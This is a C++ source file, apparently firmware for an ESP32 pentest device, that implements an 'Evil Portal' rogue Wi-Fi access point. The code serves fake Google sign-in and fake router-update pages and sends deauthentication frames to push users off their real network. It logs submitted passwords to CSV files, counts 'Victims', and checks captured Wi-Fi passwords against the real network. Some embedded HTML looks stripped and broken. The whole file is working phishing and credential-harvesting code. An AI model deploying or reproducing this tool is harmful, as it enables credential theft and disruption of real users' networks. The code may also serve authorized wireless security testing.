#include "evil_portal.h" #include "core/config.h" #include "core/display.h" #include "core/mykeyboard.h" #include "core/sd_functions.h" #include "core/utils.h" #include "core/wifi/wifi_common.h" #include "esp_wifi.h" #include "wifi_atks.h" EvilPortal::EvilPortal(String tssid, uint8_t channel, bool deauth, bool verifyPwd) : apName(tssid), _channel(channel), _deauth(deauth), _verifyPwd(verifyPwd), webServer(80) { if (!setup()) return; beginAP(); loop(); }; EvilPortal::~EvilPortal() { webServer.end(); dnsServer.stop(); vTaskDelay(100 / portTICK_PERIOD_MS); wifiDisconnect(); }; void EvilPortal::CaptiveRequestHandler::handleRequest(AsyncWebServerRequest *request) { AsyncResponseStream *response = request->beginResponseStream("text/html"); String url = request->url(); if (url == "/") _portal->portalController(request); else if (url == "/post") _portal->credsController(request); else if (url == bruceConfig.evilPortalEndpoints.getCredsEndpoint && bruceConfig.evilPortalEndpoints.allowGetCreds) request->send(200, "text/html", _portal->creds_GET()); else if (url == bruceConfig.evilPortalEndpoints.setSsidEndpoint && bruceConfig.evilPortalEndpoints.allowSetSsid) { if (request->hasArg("ssid")) { _portal->apName = request->arg("ssid").c_str(); request->send(200, "text/html", _portal->ssid_POST()); _portal->restartWiFi(); } else { request->send(200, "text/html", _portal->ssid_GET()); } } else { if (request->args() > 0) _portal->credsController(request); else _portal->portalController(request); } } bool EvilPortal::setup() { options = { {"Custom Html", [this]() { loadCustomHtml(); }} }; addOptionToMainMenu(); if (!_verifyPwd) { // Insert Options options.insert(options.begin(), {"Default", [this]() { loadDefaultHtml(); }}); } else { options.insert(options.begin(), {"Default", [this]() { loadDefaultHtml_one(); }}); } loopOptions(options); if (returnToMenu) return false; memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); wsl_bypasser_send_raw_frame(&ap_record, _channel); // writes the buffer with the information if (apName == "") { if (bruceConfig.evilWifiNames.empty()) { apName_from_keyboard(); } else { options = { {"Custom Wifi", [this]() { apName_from_keyboard(); }} }; for (const auto &_wifi : bruceConfig.evilWifiNames) { options.emplace_back(_wifi.c_str(), [this, _wifi]() { this->apName = _wifi; }); } loopOptions(options); } } options = { {"172.0.0.1", [this]() { apGateway = IPAddress(172, 0, 0, 1); } }, {"192.168.4.1", [this]() { apGateway = IPAddress(192, 168, 4, 1); }}, }; loopOptions(options); Serial.println("Evil Portal output file: " + outputFile); return true; } void EvilPortal::beginAP() { drawMainBorderWithTitle("EVIL PORTAL"); displayTextLine("Starting..."); // WIFI_MODE_APSTA captive portal takes time to popup, but is useful for verifying Wifi credentials if (_verifyPwd) WiFi.mode(WIFI_MODE_APSTA); else WiFi.mode(WIFI_MODE_AP); WiFi.softAPConfig(apGateway, apGateway, IPAddress(255, 255, 255, 0)); WiFi.softAP(apName, emptyString, _channel); wifiConnected = true; int tmp = millis(); while (millis() - tmp < 3000) yield(); setupRoutes(); dnsServer.start(53, "*", WiFi.softAPIP()); webServer.begin(); } bool EvilPortal::verifyCreds(String &Ssid, String &Password) { bool isConnected = false; // temporary stop deauth if deauth + clone is true bool temp = _deauth; _deauth = false; // Try to connect to wifi WiFi.begin(Ssid, Password); int i = 1; while (WiFi.status() != WL_CONNECTED) { if (i > 12) break; // 12 times, 6 seconds vTaskDelay(500 / portTICK_PERIOD_MS); i++; } if (WiFi.status() == WL_CONNECTED) { isConnected = true; } WiFi.disconnect(false); // re enable _deauth = temp; return isConnected; } void EvilPortal::setupRoutes() { // this must be done in the handleRequest() function too webServer.on("/", [this](AsyncWebServerRequest *request) { portalController(request); }); webServer.on("/post", [this](AsyncWebServerRequest *request) { credsController(request); }); if (bruceConfig.evilPortalEndpoints.allowGetCreds) { webServer.on( bruceConfig.evilPortalEndpoints.getCredsEndpoint.c_str(), [this](AsyncWebServerRequest *request) { request->send(200, "text/html", creds_GET()); } ); } if (bruceConfig.evilPortalEndpoints.allowSetSsid) { webServer.on( bruceConfig.evilPortalEndpoints.setSsidEndpoint.c_str(), [this](AsyncWebServerRequest *request) { if (request->hasArg("ssid")) { apName = request->arg("ssid").c_str(); request->send(200, "text/html", ssid_POST()); restartWiFi(); } else { request->send(200, "text/html", ssid_GET()); } } ); } webServer.onNotFound([this](AsyncWebServerRequest *request) { if (request->args() > 0) credsController(request); else portalController(request); }); webServer.addHandler(new CaptiveRequestHandler(this)) .setFilter(ON_AP_FILTER); // only when requested from AP } void EvilPortal::restartWiFi(bool reset) { webServer.end(); wifiDisconnect(); WiFi.softAP(apName); webServer.begin(); // code to handle whether to reset the counter.. if (reset) { resetCapturedCredentials(); } } void EvilPortal::resetCapturedCredentials(void) { previousTotalCapturedCredentials = -1; // Reset captured credentials count } void EvilPortal::loop() { int lastDeauthTime = millis(); // one deauth frame each 30ms at least bool shouldRedraw = true; while (true) { if (shouldRedraw) { drawScreen(); shouldRedraw = false; } dnsServer.processNextRequest(); if (!isDeauthHeld && (millis() - lastDeauthTime) > 250 && _deauth) { send_raw_frame(deauth_frame, 26); // Sends deauth frames if needed lastDeauthTime = millis(); } if (totalCapturedCredentials != (previousTotalCapturedCredentials + 1)) { shouldRedraw = true; previousTotalCapturedCredentials = totalCapturedCredentials - 1; } if (check(SelPress)) { isDeauthHeld = _deauth ? !isDeauthHeld : isDeauthHeld; shouldRedraw = true; } if (check(EscPress)) break; if (verifyPass) { wifiDisconnect(); verifyPass = false; } } } void EvilPortal::drawScreen() { drawMainBorderWithTitle("EVIL PORTAL"); String subtitle = "AP: " + apName.substring(0, 30); if (apName.length() > 30) subtitle += "..."; printSubtitle(subtitle); String apIp = WiFi.softAPIP().toString(); padprintln(""); if (bruceConfig.evilPortalEndpoints.showEndpoints) { if (bruceConfig.evilPortalEndpoints.allowGetCreds) { padprintln("-> " + apIp + bruceConfig.evilPortalEndpoints.getCredsEndpoint + " -> get creds"); } else { padprintln("-> cred access disabled"); } if (bruceConfig.evilPortalEndpoints.allowSetSsid) { padprintln("-> " + apIp + bruceConfig.evilPortalEndpoints.setSsidEndpoint + " -> set ssid"); } else { padprintln("-> SSID change disabled"); } } else { padprintln("Endpoints hidden"); } padprintln(""); if (!_verifyPwd) { padprint("Victims: " + String(totalCapturedCredentials)); } else { padprint("Attempt: " + String(totalCapturedCredentials)); } String passMode = ""; switch (bruceConfig.evilPortalPasswordMode) { case FULL_PASSWORD: passMode = "Full"; break; case FIRST_LAST_CHAR: passMode = "p******d"; break; case HIDE_PASSWORD: passMode = "*hidden*"; break; case SAVE_LENGTH: passMode = "Length only"; break; } padprintln("Pwd mode: " + passMode); printLastCapturedCredential(); printDeauthStatus(); } void EvilPortal::printLastCapturedCredential() { while (lastCred.length()) { int newlineIndex = lastCred.indexOf('\n'); if (newlineIndex > -1) { padprintln(lastCred.substring(0, newlineIndex)); lastCred.remove(0, newlineIndex + 1); } else { padprint(lastCred); lastCred = ""; } } } void EvilPortal::printDeauthStatus() { if (!_deauth || isDeauthHeld) { printFootnote("Deauth OFF"); } else { tft.setTextColor(TFT_RED); printFootnote("Deauth ON"); tft.setTextColor(bruceConfig.priColor); } } void EvilPortal::loadCustomHtml() { getFsStorage(fsHtmlFile); htmlFileName = loopSD(*fsHtmlFile, true, "HTML"); String fileBaseName = htmlFileName.substring(htmlFileName.lastIndexOf("/") + 1, htmlFileName.length() - 5); fileBaseName.toLowerCase(); outputFile = fileBaseName + "_creds.csv"; isDefaultHtml = false; // Open the file and read the first line (searching for: ) File htmlFile = fsHtmlFile->open(htmlFileName, FILE_READ); if (htmlFile) { String firstLine = htmlFile.readStringUntil('\n'); // Read the first line htmlFile.close(); // Look for the AP tag in the first line int apStart = firstLine.indexOf("", apStart); if (apEnd != -1) { apName = firstLine.substring(apStart + 9, apEnd); // Extract the AP name } } } } String EvilPortal::wifiLoadPage() { PROGMEM String wifiLoad = "
" "
" "
"; return wifiLoad; } void EvilPortal::loadDefaultHtml_one() { htmlPage = "Router Update

Router Update

Router firmware update required. Enter your Wi-Fi password to update.

The " "router will restart in 5

"; outputFile = "default_creds_1.csv"; isDefaultHtml = true; } void EvilPortal::loadDefaultHtml() { // htmlPage = "Fazer login nas Contas do Google
Fazer // login
Use sua Conta do Google
"; htmlPage = "Sign in: Google Accounts
Sign in
Use your " "Google Account
"; outputFile = "default_creds.csv"; isDefaultHtml = true; } void EvilPortal::portalController(AsyncWebServerRequest *request) { if (isDefaultHtml) request->send(200, "text/html", htmlPage); else { request->send(*fsHtmlFile, htmlFileName, "text/html"); } } void EvilPortal::credsController(AsyncWebServerRequest *request) { String htmlResponse = "
  • "; String passwordValue = ""; String csvLine = ""; String key; lastCred = ""; for (int i = 0; i < request->args(); i++) { key = request->argName(i); if (key == "q" || key.startsWith("cup2") || key.startsWith("plain") || key == "P1" || key == "P2" || key == "P3" || key == "P4") { continue; } // get key if verify and before blanking if (key == "password" && _verifyPwd) { passwordValue = request->arg(i); } String valueBuffer = request->arg(i); if (key == "password") { char blank = '*'; switch (bruceConfig.evilPortalPasswordMode) { case FULL_PASSWORD: // do nothing, already have full password and want to save it break; case FIRST_LAST_CHAR: // overwrite the middle of the passwordValue with *s if (valueBuffer.length() > 2) { for (int i = 1; i < valueBuffer.length() - 1; i++) { valueBuffer[i] = blank; } } // otherwise don't blank anything if pwd is < 2 chars break; case HIDE_PASSWORD: // overwrite the passwordValue with '*hidden*' valueBuffer = "*hidden*"; break; case SAVE_LENGTH: // overwrite the passwordValue with 'X chars' valueBuffer = String(valueBuffer.length()) + " chars"; break; } } // Build HTML and CSV line htmlResponse += key + ": " + valueBuffer + "
    \n"; if (i > 0) { csvLine += ","; } // Skip irrelevant parameters csvLine += key + ": " + valueBuffer; lastCred += key.substring(0, 3) + ": " + valueBuffer + "\n"; } htmlResponse += "
    • \n"; if (_verifyPwd && passwordValue != "") { request->send(200, "text/html", wifiLoadPage()); // vTaskDelay(200 / portTICK_PERIOD_MS); // give it time to process the request bool isCorrect = verifyCreds(apName, passwordValue); if (isCorrect) { // Display valid to screen if valid.. lastCred += "valid: true\nStopping server..."; saveToCSV(csvLine + ", valid: true", true); printDeauthStatus(); // save to WiFi creds if the pwd was correct. if (bruceConfig.getWifiPassword(apName) != "") { bruceConfig.addWifiCredential(apName, passwordValue); } vTaskDelay(50 / portTICK_PERIOD_MS); // stop further actions... verifyPass = true; _deauth = false; } else { lastCred += "valid: false"; // still save invalid creds... saveToCSV(csvLine + ", valid: false", true); portalController(request); } } else { saveToCSV(csvLine); request->send(200, "text/html", wifiLoadPage()); } capturedCredentialsHtml = htmlResponse + capturedCredentialsHtml; totalCapturedCredentials++; } String EvilPortal::getHtmlTemplate(String body) { PROGMEM String html = "" "" "" " " + apName + "" " " " " " " "" "" "
    " "
    " " " " " "
    " "
    " "
    " + body + "
    " "
    " "
    " "" ""; return html; } String EvilPortal::creds_GET() { return getHtmlTemplate( "
      " + capturedCredentialsHtml + "

    Back to Index

    Clear passwords

    " ); } String EvilPortal::ssid_GET() { return getHtmlTemplate( "

    Set a new SSID for Evil Portal:

    " ); } String EvilPortal::ssid_POST() { return getHtmlTemplate( "Evil Portal shutting down and restarting with SSID " + apName + ". Please reconnect." ); } void EvilPortal::saveToCSV(const String &csvLine, bool isAPname) { FS *fs; if (!getFsStorage(fs)) { log_i("Error getting FS storage"); return; } if (!fs->exists("/BruceEvilCreds")) fs->mkdir("/BruceEvilCreds"); File file; if (!isAPname) { file = fs->open("/BruceEvilCreds/" + outputFile, FILE_APPEND); } else { file = fs->open("/BruceEvilCreds/" + apName + "_creds.csv", FILE_APPEND); } if (!file) { log_i("Error to open file"); return; } file.println(csvLine); file.close(); log_i("data saved"); } void EvilPortal::apName_from_keyboard() { apName = keyboard("Free Wifi", 30, "Evil Portal SSID:"); }